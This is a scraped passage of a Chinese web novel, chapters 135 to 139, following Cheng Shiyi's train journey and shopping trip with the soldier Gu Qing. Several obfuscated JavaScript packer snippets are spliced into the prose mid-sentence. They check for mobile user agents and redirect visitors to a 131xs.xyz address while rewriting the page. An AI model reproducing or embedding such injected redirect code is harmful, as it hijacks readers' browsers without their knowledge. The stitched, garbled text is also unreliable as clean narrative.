l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492120|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点馋。 吃了一个馒头，菜也吃了些，剩下的实在吃不完了，便重新盖好盖子，准备带到车上去吃。 十点半，房门再次被人敲响，而此时的程十一已经躺在床上睡着。 不过因为心里有事，睡得并不沉，一听见敲门声，人就醒了。 “准备出发了。” 门一开，就听见门外站着的顾青说了这么一句。 程十一嗯了声：“给我两分钟，我收拾下。” 其实也没什么好收拾的，主要是想洗把脸。 这觉睡得稀碎，有点难受。 关上门，程十一就赶紧洗脸，又给自己的小脸儿擦了点护肤品，这才开门准备去找顾青。 谁知门一看，就看到顾青像是个柱子一样站在走廊中间，着实把程十一吓了一跳。 “你一直在这里等着？” 程十一问。 顾青点点头：“走吧！” 看着对方转身就走的身影，程十一吐了吐舌头。 她洗脸擦脸的速度挺快的，没用上两分钟，不过想到人家就这样挡在门外等着自己，她这心里多少有点过意不去。 还以为这人会去大厅等自己呢！ 退了房，连带着暖水瓶也退了。 收好押金，程十一就提着箱子和一个麻袋跟着顾青出了招待所。 一出大门，程十一就忍不住打了个哆嗦。 有点冷。 好在招待所距离火车站并不远，两个人没多会儿就到了火车站。 本以为要去候车室等着上车，谁知顾青却带着她进了旁边的楼。 里面的装修摆设明显要比一般的火车站候车室好一些，也很安静，就连人都没见几个。 有穿着铁路工作服的人过来询问，顾青拿出了两个人的车票后，对方也没多说什么，带着二人就往里面走。 到了间挺大的房间，里面摆着几排沙发。 棕色的皮质沙发，地上还铺着宣软的地毯，墙上更是挂着一些水墨丹青，不过里面的内容都是很符合当下这个年代的。 程十一有点傻眼了。 这是……这个时代的贵宾候车室？ 第135章 真是个喜欢学习的好同志……个屁 有点高大上了！ 程十一跟着顾青坐在了靠着检票口的沙发里。 还别说，这沙发挺宣乎。 人坐在里面都有点想要弹一下的感觉。 工作人员见二人坐下了，这才说道：“咱们这里会比大候车室提前十分钟检票，你们不用着急，时间来得及的。” “谢谢。” 顾青道谢。 等到工作人员离开后，程十一这才小声问道：“顾同志，你的那个战友在这里是不是很厉害？居然给咱们安排了这么好的地方。” 程十一不得不承认，自己有点乡下人进城那味儿了，真的是感觉特别稀奇。 顾青没说话，只是瞥了程十一一眼，明显是不想回答这个问题。 但程十一却一点都不觉得尴尬，反而还将脑袋凑过去些，继续道：“回头我要是弄到拖拉机了，能不能让他帮忙联系一下铁路运输？要不然一路开着拖拉机回来，估摸着那燃油费都得不老少。” 这次顾青终于有反应了，转头看向程十一，正好对上了对方那双乌溜溜的大眼睛。 很清澈的双眸，没有让人厌烦的算计。 程十一眨巴眨巴眼，不明白这人为什么只看着自己不说话。 难道说对方以为这是她想占便宜，不想出运费？ 想到这个，程十一只好解释道：“我可不是说找人免费运输啊，我就是想能将事情办得顺利些，费用什么的只要合规合法就行，还得开收据，回去了还得和大队报账呢！” 看着这个小姑娘一脸“我没有任何私心”的样子，顾青突然感觉有点想笑。 想了想，顾青从自己的挎包里拿出了一个本子和一支钢笔，在上面写下了一行字后撕下来交给程十一：“到时候你打这个电话找齐钢铁，到时候提我。” “哇，顾同志，你可真是太厉害了！” 程十一赶紧双手将纸接过来。 上面写着一串电话号码和一个名字，正是齐钢铁。 顾青总感觉这小丫头的这句夸赞有点过于浮夸，不过他也没说别的什么，只是叮嘱了句：“对方不一定能帮得上什么忙。” “明白明白，只要尽力安排就行，如果实在不行，我再另外想办法。” 程十一宝贝的将这张纸夹在自己的本子里。 要不是要将戏做全套，路费什么的都要有收据发票之类的，她还真不会这么费事的提这一茬。 虽说到时候她也可以单枪匹马的去找铁路运输部门谈这件事，可万一人家不愿意接这样的活呢？ 如今也算是有认识人了，运输费用什么的不说，就说整件事的顺利程度，多少应该会有点促进作用吧！ 希望吧！ 实在不行，就只能另外想办法了。 两个人说完了这件事后就再没了话题，顾青拿出了一本书。 程十一看了一眼书名，什么军事理论。 没兴趣。 收回视线，程十一也从自己的挎包里摸了一本书出来。 顾青注意到了身边人的动作，见对方也是看书，心里的第一个想法就是：是个喜欢学习的进步小同志。 可当余光注意到那书上的内容后，顾青的表情就是一僵。 他收回刚刚的那个想法。 没见过哪个喜欢学习的进步小同志会随身带着一本连环画看的。 程十一看的就是连环画。 毕竟她没打算去考什么大学，自然也就不会去读什么正经八百的书了。 她这辈子的愿望就是好好活着，赚点钱，可以让自己过上躺平的小富婆生活。 什么大学，什么正式工作，什么首富，这些压根就不在她的人生规划里。 大概也是因为她的愿望太咸鱼了，以至于偶尔会触发的任务都不会是强制要求完成的。 这样，就挺好。 因为是要熬时间，所以程十一这次看连环画的速度很慢，等看完这一本了，时间也差不多了。 终于到了检票时间。 和之前赶火车时不一样，这次可以提前检票，那真是轻松了不是一星半点。 整个走廊里除了工作人员外，就只有她和顾青两个旅客在走。 至于其他的旅客，自然是等着正常的检票时间。 火车已经停在站台旁边了，有顾青在，程十一甚至都不需要自己找车厢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492121|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>终于来到了卧铺车厢。 上中下三个铺位。 等到坐在铺位上时，程十一又忍不住感慨了。 那位齐钢铁同志可真是个大好人啊！ 两个下铺！ 可以不用爬上爬下了，真好！ 顾青将三个麻袋分别塞在了他们两个下铺下面积，至于程十一的藤条箱子则是放在了两个铺位中间的桌子下面。 做好这些后，顾青拿出了自己的水杯，问程十一：“你的水杯呢？我去接两杯水。” “啊，这里。” 程十一拿下自己的水壶递了过去。 里面还有点水，但已经凉透了。 车上的温度不算高，如果顾青不提，程十一还想不起来，如今想起来了，还真有点想喝热乎水。 顾青接过来就出去打水。 此时车厢里面很安静，别说是说话声了，甚至连个放屁打鼾的声音都没有，仿佛整节车厢就只有她和顾青两个人。 没有开灯，只有车厢两侧有些许光亮。 站台外面倒是有些亮光，透过窗户照进来，这才让车厢里没有那么黑。 趁着顾青不早，程十一赶紧打开箱子，拿出了一些瓜子花生之类的吃的，顺便又拿出了个搪瓷缸子。 自己背着的是军用水壶，水不凉的时候能直接喝，要是热水，那还真喝不到嘴，所以这个搪瓷缸子就显得尤为必要了。 又拿出了两瓶黄桃罐头。 全都摆在小桌上，这样想吃的时候就能吃，不用再去开皮箱了。 等到顾青回来时，程十一已经扯着被子坐着，腿蜷缩在被子里，上半身扭着看着窗外。 听见声音，程十一收回视线，见是顾青，便道：“我拿了些吃的出来，你要是饿了就自己吃，不用客气。” 随着程十一的话，顾青也看到了小桌子上的东西。 虽然光线不算很明亮，但他眼神好，看清了都是些什么后，下意识的看了一眼明显被移动过的箱子。 一时间，他竟然不知道该做出什么样的反应。 所以，那个被这小姑娘一直抱着提着的箱子里面装着的……不会都是吃的吧？ 第136章 介绍信里有两块钱 事实让顾青明白，他想得还是太简单了。 那个被小姑娘一路抱着提着上车的箱子里装的并不全都是吃吃喝喝的东西，而是……还有连环画。 自打天亮，小姑娘醒来后，那双眼睛除了在看吃的和喝的外，就一直在看连环画。 一本肯定是不够看的，而是看了好几本了。 只要看完了，她就会扯出箱子来，打开后再换一本。 顾青就坐在对面的铺位上，每次对方扯箱子他都会帮忙，自然而然的也就看到了箱子里面的情况。 罐头、糖果、饼干，甚至是桃酥、长白糕这些都有。 最离谱的是竟然还有水果！ 不仅有，这小姑娘还分给自己了，是那种压根不打商量的给。 招呼一声名字，随即扔过来一个苹果或者橘子。 然后那双眼睛就继续盯着连环画看，一点都不带给人拒绝的。 顾青刚开始还不吃，可后来就变成了小丫头将苹果用水果刀割成两半，直接将一半丢过来。 卧铺车上的乘客很少，他们俩所在的这个铺位更是一直都没有上来过人。 要不然让人看到俩人这么吃，保不齐都得以为他们俩有什么大病。 谁家好人坐火车会带这么多吃的上来啊！ 等火车到了京城火车站时，顾青感觉全程自己都没有过饿的感觉。 到了饭点，小姑娘就直接拿了她自己的那份饭钱交给自己，让自己去打饭。 吃完饭没多会儿就开始吃吃喝喝。 真的是…… 顾青不知道该怎么形容了。 之前听战友说小姑娘特别喜欢吃零嘴，他还没有什么概念，如今算是感悟了个彻底。 下车后，顾青本打算直接去候车室等着。 他去取齐钢铁让人准备好的车票，然后回候车室和程十一汇合。 可当得知出发车依旧是在大晚上后，程十一就不干了，非要找个招待所休息下。 顾青无语望苍天。 卧铺上难道还不够休息的吗？ 可是小姑娘的态度强硬，顾青也没招儿，只能是让程十一自己开了个房间，而他则是打算在招待所一楼的座位上坐到晚上。 “我说你不会累吗？” 程十一很不理解顾青的这种行为。 在程十一看来，顾青这样的做法就是典型的没苦硬吃。 明明开个房间就能好好休息的，可偏偏要节省那两个钱干坐着。 要知道现在距离开车还有将近八个小时呢！ 顾青摇头：“不累。” 他是真的不觉得累。 这点辛苦和平日里的训练相比根本不值一提。 程十一翻了个白眼：“那行吧！你把东西送我房间，也省得看着了。” 对此，顾青倒是没有反对意见了。 顾青前脚刚去火车站拿火车票，程十一后脚就出了招待所。 又到京城了哎，不逛街那对得起自己吗？ 反正不差钱也不差票，不趁着这个时候再多买点东西，那多对不起这么难得的出行机会啊！ 附近的供销社就算了，来了京城，而且时间还富裕，那就必须去国营商店！ 坐公交车直接到国营商店，进去后就是一番大采购。 如今天气越发冷了，布料的柜台前面最为热闹。 像是毛线这些柜台也是人满为患。 程十一忍不住咋舌。 好家伙，真是太壮观了！ 算了，自己不去凑热闹了。 点心柜台这里的人也有不少，但和上一次来相比倒是没有那么吓人了。 程十一买了些能放得住的点心，又买了些别的。 出了国营商店后转弯就去了旁边的邮局。 点心被用系统仓库里存放的旧衣服包裹了好几层，然后打包邮走。 地址填写的就是光荣大队，收信人则是陈丽娇。 除了点心外，还邮寄了一些铁皮罐头。 这玩意儿的价格是珍贵，但也确实是好东西。 多买些邮寄回去，这样回头馋了就能开一瓶。 和邮包以及邮寄过去的还有简单的一封信。 怎么也得让她娇娇姐知道这些东西是谁邮寄的，要不然把人家吓着了怎么办？ 做好这些后，程十一也没着急回招待所，而是转身坐车去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492122|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烤鸭店。 具体怎么坐公交车，程十一自然是不知道的，可这也难不住她，拉着路人问一问，打听一下，很快就明白了路线。 晃晃悠悠的来到了烤鸭店。 这会儿不是饭点，饭店里面没有多少客人，就连服务员都在做一些清扫工作。 程十一没有提前预定，想要一下子买很多烤鸭，那是不可能的。 看到一位三十来岁的大姐正坐在收钱的柜台前面打瞌睡，程十一立刻走了过去，小声招呼道：“姐姐，姐姐，醒醒。” 突然被人叫醒，大姐还挺不乐意的。 尤其是看到面前站着个瘦瘦小小的小丫头，那就更没什么好脸色了，直接没好气的说道：“没到饭口时间，没饭！” “姐姐，您消消气。” 程十一从善如流的从挎包里摸出了一把大兔兔奶糖。 差不多能有个六七颗。 左右看了看，见没人注意到这里，就将糖放在了大姐面前的桌面上。 看到大兔兔奶糖，大姐的火气稍微小了那么一丢丢，但也没有着急收起来，而是冷着脸说道：“你这是干什么？” 别看语气不客气，可声音却降低了不知道多少个分贝。 程十一咧嘴给了对方一个甜甜的笑：“姐姐，这是我的介绍信，我是路过咱们京城的。这不是着急回老家嘛，想着买点咱们京城的好吃的带回去，也让老家的人尝尝咱们京城的美味。” 说着，程十一将自己的介绍信递了出去。 但随着大姐将折叠起来的介绍信展开后，里面躺着的却是两块钱。 只一眼，女人就嗖的一下又将介绍信合起来了，警惕的看着程十一：“你到底要干啥？” 程十一嘿嘿笑：“想买几只烤鸭，姐姐，您能帮帮忙不？要是介绍信不够，那，那我把我以前上学时候的学生证也给你看看？” 说着还真的将手伸进了挎包里。 大姐的眼皮明显的跳了下。 她觉得如果那个什么学生证拿出来，里面夹的钱肯定要比介绍信更多一些。 所以，她是看对方的学生证，还是不看？ 第137章 便宜表姐很给力 一个月的工资也才不过三十来块钱，两块钱已经是她差不多两天的工资了，如果有更多…… 心动了。 程十一垂眸看包，对方看不见她的眼睛，自然也就没有看到她眼里闪过的厌恶。 真的是贪得无厌了。 要不是这家的烤鸭是真的好吃，她想多买几只带走，还真不想便宜这样的人。 就在程十一的手拿着一个不大的证件要拿出挎包时，突然听到对方说道：“小妹，你到底想要买什么，你和大姐直接说吧！” 说着，面前多了一张纸，正是程十一递过去的介绍信。 不过介绍信里面的两块钱已经没有了。 程十一抬头看向对方，就见对方抖了抖手里的介绍信：“看到你的介绍信了，说吧，要买什么。” 顿了顿，大姐又道：“别太过分的行，但是要是太多了，我可没办法。” 程十一接过介绍信，笑着说：“想要几只烤鸭，如果可以，像是红烧肉什么的也最好来一份，我带了饭盒过来。” 说着，程十一提了提手里的篮子。 还是从王家带出来的那个篮子，出门的时候收到了系统仓库。 大姐想了想，道：“我们店里每天都会多做三只烤鸭，但是三只我肯定要不来，这样吧，我帮你买两只，至于红烧肉这个没问题。别的还要吗？” 程十一想了想，又点了糖醋排骨。 其他的就算了，太多了带回去吃不完，剩了凉了也不好吃。 大姐点点头：“行，我先去后厨问问，你坐那等我吧！” 程十一坐在了距离这里最近的桌子旁边。 大姐也起身，还随手将桌子上的大兔兔奶糖全都抓起来塞进了兜里，人朝着后厨走去。 不多时，大姐出来了，脸上带着笑。 有服务员和大姐说话，大姐就笑着和人家说话，同时还朝着程十一的方向指了指。 等到大姐过来，见周围没人，大姐低声说道：“我说你是我娘家远房表妹，别露馅儿了。” “是，表姐。” 程十一立刻顺杆爬的改口。 大姐笑着点头，又道：“一只烤鸭12块钱，但是如果要让师傅给片好的话就是16，你看你要哪一种？” 程十一想都没想的直接选择了整只。 大姐也不意外，继续说道：“三只我都给你要过来了，一共三十六。另外你说的红烧肉和糖醋排骨，我又给你装了几个包子，凑个整，一共给四十块钱就行。” 说出这个价格时，大姐的心里还是挺紧张的。 四十块钱啊，她一个月的工资都没有这么多，眼前这个小姑娘穿着的衣服倒是干净整齐，可这么瘦，真的不像能随随便便就拿出四十块钱的主儿。 可程十一却直接从兜里摸出了个手帕，打开后里面是一沓现金。 最下面的就是大黑十，上面的则是一些零散的**票。 “表姐，票怎么收？” 程十一一边数钱一边问。 大姐赶忙说了。 程十一将四十块钱递给对方，又从包里摸出了几张票，也交给对方。 大姐点了两遍，确定没问题了，这才又去后厨。 此时有个服务员端了一杯白开水过来，放在了程十一面前的桌子上，还笑着打招呼：“小妹，你是王大姐的妹妹啊？以前可没见过你。” 程十一瞬间化身乖巧小丫头：“是啊，漂亮姐姐同志，你是我表姐的同事吧！真羡慕我表姐，能和你这样的漂亮女同志一起上班，平常看着都觉得心里舒坦。” 又是姐姐，又是漂亮的，哪个女同志能不喜欢？ 尤其还是这样一个乖巧的小丫头嘴里说出来的，那可就更加让人开心了。 于是等王大姐从后厨回来时，看到的就是同事正在和自己的那个“表妹”聊得热闹的画面。 她还有点紧张，等到了跟前了，见自己的那个同事笑得那叫一个花枝乱颤后，突然就不紧张了。 服务员见王大姐回来了，也不再拉着程十一聊天了，起身离开，将空间留给了这对表姐妹。 “你这小同志还怪能耐的。” 王大姐坐在了程十一旁边的位置， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498136|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又道：“等会儿饭盒给我，我给你在后厨装好了再给你。对了，筐也给我，外面人多，不好让人看仔细。” “成，谢谢表姐！” 程十一甜甜道谢。 不多时，王大姐又去后厨了，不过带着了程十一的那个筐。 等再出来时，除了筐外，手里还多了个不大的面袋子。 “这里面就是包子了，还有几个馒头。这天冷，放上两天也不会坏。” 王大姐将东西交给程十一，还亲自将人送出了饭店大门。 程十一拎着沉甸甸的筐，心里别提有多开心了。 打道回府！ 不过三只烤鸭肯定是不能全都让顾青看到的。 只留了一只，剩下的两只放进系统仓库，回头想吃的时候拿出来吃，方便得很。 至于两盒菜就不收起来了，凉了也不怕，到时候找招待所的同志帮忙加热一下，出点加工费也就是了。 馒头和包子倒是收了一些在系统仓库里，只剩下了差不多两个人能吃上两顿的量。 说起来那位便宜表姐是真的给力。 包子就给装了十个，还另外装了六个馒头。 至于收费贵不贵，这个已经不在程十一的考虑范围内了。 回到招待所时，刚一进大门，就看到了坐在一旁靠墙凳子上的顾青。 顾青听到有人进来就睁开眼睛，见是程十一，当即起身迎了过来。 看到她手里大包小裹的东西，顾青嘴角一抽。 程十一留了字条，说是出去溜达溜达，顾青只当她就是简单的出去逛逛，怎么也没想到竟然还会买这么多东西回来。 “同志，能不能让他送我回房间？正好我俩也得吃口饭。” 顾青将东西接过去后，程十一就看向了前台的工作人员，自然是少不了给对方几颗糖。 不过不是大兔兔奶糖了，而是几颗水果糖。 如果换做旁人，那是肯定不行的，可顾青不一样，他那一身笔挺的军装就是最值得信任的理由。 再加上糖果，工作人员都没犹豫，直接点头答应了。 第138章 欺负她个子矮吗？ 程十一是真的不觉得有什么问题，毕竟俩人只是在一个房间里吃饭，又不是要干什么见不得人的事，吃完饭了，就将人赶出去。 可顾青却是浑身的不自在。 和一个女同志单独在一个房间里，尤其还是在招待所这样的地方，他就觉得这样对小程知青的名声不好，几次想要反对，可程十一一直都没给他机会。 直到工作人员拿着程十一的饭盒去帮忙热饭，大厅里就只剩下了他们两个人了，顾青这才说道：“小程知青，我就不上去了，你吃完饭就休息下，不用管我。” 程十一抬头看他。 麻蛋的，个子这么**什么？欺负她是个小矮子吗？ “我带了你的饭，爱吃不吃，不吃也把饭盒给我端过去。” 程十一说完，一扭头就朝着自己的房间走。 真是的，请他吃饭还磨磨唧唧的，惯的毛病！ 顾青一个人站在大厅里，一脸无奈的看着瘦小的身影越走越远。 这小同志的脾气……好像不太好的样子啊！ 程十一回了房间就放下了自己的挎包，顺便给自己洗了把脸。 刚抹了点霜在脸上，门口就出现了个人影，正是顾青，手里还端着一个盆。 正在脸上揉的程十一看了看顾青，又看了看他手里端着的盆，嘴角抽了抽。 好家伙，她就说这饭菜怎么会这么快就能热好呢，感情是给了半盆热水，此时俩饭盒正静静的躺在热水里面。 这种加热方式……还真有点别具一格。 菜其实没完全冷透，只不过都是荤菜，想要好吃还是得热乎一下才好。 “进来吧！” 程十一回到桌子旁边，将预留出来的包子拿了出来。 顾青路过门旁的水盆时闻到了空气中淡淡的香味儿，和以前闻过的雪花膏的香不太一样，但很好闻。 “那个……” 顾青想说自己放下水盆就走，可是在看到程十一拿出来的包子后，他就有些惊愕了。 不是，这小丫头哪里买的这么多包子？ 附近的国营饭店他也不是没去过，那里的包子看着可不是这样的啊！ 程十一从自己的皮箱里摸了两副筷子出来，用暖壶里的水冲了冲，递给顾青一副：“快吃吧！” “好，谢谢。” 顾青也不挣扎了。 门没关，就这么敞开着，真要有人路过看见了也说不出什么来。 只不过只有一个凳子，顾青自然而然的选择了站着。 可程十一却很难受。 这人本来就比自己高不少，现在还站在一旁吃饭，那压迫感简直不要太明显。 “你把床头柜搬过来，我坐那个。” 程十一声音有点凉。 顾青看了一眼床头柜，又看了看程十一坐着的凳子，果断去搬床头柜了。 然后也不让程十一坐，而是他自己坐了下去。 床头柜可没凳子高，要是让这小丫头坐，怕是连桌面都不太容易够到。 刚刚起身的程十一看到这一幕后，又默默的坐了下去，只当对方是不想让自己折腾，完全不清楚自己已经被划分到了坐床头柜会够不到桌子的范围里。 只吃两道肉菜，总感觉有点腻，程十一就直接开了一瓶咸菜。 这咸菜自然不是她做的，但却是她二次加工过的。 从商城里买的八宝咸菜，塑料袋包装，被她撕开了袋子后弄到了洗干净的罐头瓶子里。 里面红红绿绿黄黄的，瞧着还真挺有食欲。 两个人吃饭的时候谁都没有说话。 程十一吃饭的速度不慢，毕竟在末世里，吃得慢了很有可能就会被人抢走食物。 而顾青的吃饭速度更快。 吃了两个包子，又吃了点菜，再喝点白开水，程十一饱了。 顾青看了看剩下将近三分之一的剩菜，犹豫了下，想着自己是继续吃，还是将剩下的打包带到火车上去。 谁知刚要放下筷子，就听程十一说道：“尽量别剩啊！带到车上凉了就不好吃了，到时候只能扔掉。” 一听这话，顾青当即加快速度，拿起了一个馒头，将剩下的菜全都吃完不说，甚至还用馒头将饭盒里的汤全都蘸干净了。 程十一一转头就看到这一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498137|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，突然就感觉这个傻大个有点可爱。 这样挺好的，她也不喜欢浪费粮食。 吃完饭，顾青将饭盒和筷子全都放在水盆里就出去了，关门的时候说道：“饭盒先放我那里，等走的时候再还你。” 正在屋里转圈圈消食的程十一摆摆手，示意自己知道了。 等到房门一关上，程十一立刻往床上一倒。 要不是刚刚屋里有个顾青在，她在吃饱后就想躺下了。 吃饱喝足一栽歪，这日子简直不要太美妙。 距离开车前不到两个小时，程十一的房门被敲响，她也被叫醒。 这次倒是没有之前那样的高级候车室了，而是和大家一样的候车室，检票时间都是一样的。 好在空的座椅还有不少，来人找了个靠着角落的位置坐下。 检票的时候人就多了，挤挤攘攘的，让程十一有了一种赶春运的错觉。 程十一的身板小，那是真受不了那样的挤来挤去。 而顾青则是习惯性的优先老百姓，他就站在队伍最后面，只要不影响上车时间，他就没那个心情和大家一起挤。 站台上的人也不少，有人下车，有人上车，闹哄哄的。 好在卧铺车厢的人不多，但也没有像之前那样的安静了。 两个人上车时，车厢里面黑漆漆一片，但有说话声，还有人在搬运行李的动静。 找到了自己的铺位。 一个中铺，一个下铺。 顾青是想让程十一睡下铺，这样不用爬上趴下，但程十一却是动作麻利的直接上了中铺。 顾青也没说什么，任劳任怨的将两个人的行李全都放好，这才坐在了下铺的铺位上。 对面的下铺是个男人，正在睡觉，那呼噜声不是一般的响。 对面的中铺没人，但两个上铺都有人了，也在睡觉。 程十一俩人的到来并没有影响到这三位乘客。 只是顾青刚刚脱掉外衣准备躺下，突然就感觉有人走进了他们这里。 原本只以为是对面中铺的乘客，谁知对方刚走进来没两步，后面就又跟着挤进来两个人。 第139章 换铺位还是保住顾同志？ 看着身形是个老人带着两个孩子，孩子的年纪应该是在五六岁的样子。 老人一进来，扫了一圈，就对上了已经脱了外衣的顾青。 “同志你好啊，我是隔壁上铺的，我这老胳膊老腿儿的爬不上去，能不能和你……” 一开口，是个老太太。 话还没说完，顾青就明白了。 一个老人带着俩孩子还真不容易爬上去，他爬上去倒是没什么，正要答应，就听程十一的声音响起：“不能。” 拒绝得太干脆，让顾青都没反应过来。 老太太一愣，随即没好气的骂道：“你个小贱蹄子哪里蹦出来的，我和你说话了吗？” “嘿，你要换的是我的铺位，我不同意换，怎么了？” 程十一说着就坐了起来。 中铺的空间不算很高，但程十一个头小啊，还真坐起来了，没碰头的那种。 老太太看了看顾青，又看了看程十一：“你放屁！你都在中铺了！” “哦，我刚换的，本来想着这位男同志的个头高，中铺睡着不舒服，所以我就和他换了。” 顿了下，不等老太太开口，程十一又道：“不过我现在后悔了，中铺的空间没有下铺大，所以我要换回来。” 说完，程十一一个翻身就从中铺上跳了下来。 那灵活的身手直接把老太太吓了一跳，下意识的后退了一步。 而顾青则是赶紧伸出手要去扶程十一。 不过很显然，程十一根本不需要这样的搀扶。 这样的高度对她来说不算什么，当初在末世的时候她可是从三楼往下跳过。 当然，二楼就是洪水的那种。 “你，回你的铺位上去！” 程十一转身看着顾青，那命令的语气不带一点商量的余地。 顾青抿唇。 他知道小程知青这是为了他好，所以他不可能说出反对的话，所以只能沉默。 程十一白了他一眼，又道：“咋的？你还想和人换铺位啊？那你换啊！只要这老太太能爬上中铺就行。” 话音落，程十一就直接坐在了下铺的铺位上，还往后面靠了下，直接用她的上半身和脑袋挡住了被挂起来的那件上衣外套。 顾青看向老太太，问：“老人家，这中铺，你还能爬上去吗？” 老太太傻眼了。 她是真没想到事情能有这样的变化啊！ 她从上车就一路找过来，结果下铺都有人，还都睡觉了，就这么一个下铺的人还没睡，所以才想着占个便宜，哪曾想事情是这样的？ 程十一用腿碰了碰顾青的腿：“我说你就别难为人家老人家了。中铺要是都能爬上去，那还能爬不上上铺去？你赶紧上去吧！别磨叽了，你不睡觉也不要影响我睡觉！” 顾青点点头，倒是没再理会那个老太太了，甚至连梯子都不用，脱了鞋，踩在程十一的铺位上，两只手撑着两个中铺的铺位，随即一个用力，整个人腾空而起，动作极为麻利的就上了中铺。 这一套操作看得程十一眼睛放光。 好家伙，想当初她要是有这样好的身手，哪里还会被人抢走食物啊！ 有点馋，有点想学，怎么办？ 老太太看着这俩人就这么丝滑的换了铺位，一时间都不知道该说些什么才好。 她不知道说什么，可程十一知道。 看着这老太太还带着两个小孩儿堵在那里，直接没好气的嚷嚷开了：“我说你这人咋回事？都这时候了，我们也要休息了，你还站在这里干啥？想要趁着我们睡觉偷东西吗？” 话音落，原本以为睡着两位上铺乘客竟然齐刷刷伸出头来往下看。 程十一看不到自己这一侧的上铺情况，但是能看到对面的。 突然看到黑暗中多出来一个人头，那画面还怪惊悚的。 “哎呀老天爷啊，真是不给人活路了啊！” 老太太终于回过神了，一拍大腿就嚎了起来。 程十一就这么坐在那里，双臂环在身前看着对方表演。 老太太的嗓门也是真的大，原本呼噜震天响的对铺大哥都醒了。 不仅醒了，甚至还噌的一下坐了起来，嗷的就是一声吼：“谁？谁在搞封！建！迷！信？” 此话一出，老太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507577|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太的哭嚎声戛然而止。 就连程十一都是一愣。 不是，这咋就和封！建！迷！信扯上关系了？ 老太太就像是被人掐住了脖子的鸭子似的，好几秒钟后才吭哧吭哧的说道：“没，没人搞那玩意儿啊！” 大哥这会儿已经坐起来了，程十一也借着微弱的光亮看到了对方的长相。 肥头大耳的，一脸的凶相。 关键是随着他坐起来，程十一还看到了对方的胳膊上有个袖箍。 得，还真是够巧的，没想到和割尾会的人凑到一个车厢里了。 袖箍大哥本来还不确定刚刚听到的那一嗓子是谁嚎出来的，结果这老太太一开口，他立刻就对上号了。 瞪着老太太训斥道：“你刚刚都喊了啥？是不是喊了老天爷？” 老太太浑身一哆嗦，赶忙摆手：“没有没有！” 一边说，还一边拉扯着身边的孩子急匆匆的离开。 那动作迅速得哪里还有半点老人的影子，安排去跑个百米冲刺估计都没问题。 袖箍大哥可没就此放过。 现在抓个典型可难了，他们的工作真是越来越难展开，没想到出个差居然能抓到一个，这可是妥妥的成绩啊！ 不能放过！ 于是，程十一就这么看着袖箍大哥连鞋都没穿，那肥胖的身体特别灵活的起来就冲进了出去。 接着，就听见车厢里响起了一阵鬼哭狼嚎的声音。 程十一抽了抽嘴角。 这可不是她安排的嗷，她只是单纯的不想和人换铺位而已。 顾青的身份，她知道，如果真让顾青说出拒绝的话，用脚指头想都知道不可能。 所以她才会抢先拒绝。 下铺哎，白天吃饭的时候坐在下铺吃饭多舒坦，要是换成一个中铺一个上铺，那才是真的不方便。 再说了，顾青同志眼里有活，有他在，自己都不用打水，就连饭盒都不用洗。 所以，就算嫌弃过顾青同行会有一些不方便，但和没有下铺相比，还是保住下铺吧！ 